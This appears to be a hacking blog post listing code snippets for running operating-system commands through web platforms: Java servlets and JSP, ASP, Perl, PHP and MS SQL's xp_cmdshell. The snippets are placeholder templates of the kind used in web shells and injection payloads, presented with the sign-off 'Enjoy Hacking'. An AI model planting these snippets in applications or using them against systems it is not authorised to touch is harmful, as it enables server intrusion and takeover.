How To Execute A Command On Remote Systems
Do you like this story?
Hey Guys, how would you feel I sumting gives u flexibility to work on remote computers as easy as possible. Well, Yes. YOu. Don mess with ur eyes, you read exactly wats goin in ur mind. Here i m giving you the List of code snipets to be compiled and Executed On remote Computer and , get That work as per your Demand.
This table provides a handy list of techniques that can be used for remote command execution, by Language.
Web Application Environment | Source Code | Additional Information |
Java Servlet | class Example extends HTTPServlet { . . . void function() { Runtime r = Runtime.getRuntime(); Process p = r.exec("<command>", <arguments>); } . . . } | |
Java Server Pages (JSP) | <% Runtime r = Runtime.getRuntime(); Process p = r.exec("<command>", <arguments>); %> | |
Active Server Pages (ASP) | If Windows Scripting Host is installed on the target system: <% Set wsh = Server.CreateObject("Wscript.shell") wsh.run("<command>"); %> | |
PERL | In PERL, commands are executed by wrapping them with the backtick symbol (`) $result = `<command>`; or system("<command>"); or open(IN, "<command> |"); | |
PHP | <? system("<command>") ?> or <? shell_exec("<command>") ?> | |
MS SQL | EXEC master..xp_cmdshell" <command>" |
HOpes, you guys enjoyed the Data.
Enjoy Hacking Enjoy Hackton.
Subscribe to:
Post Comments (Atom)
0 Responses to “How To Execute A Command On Remote Systems”
Post a Comment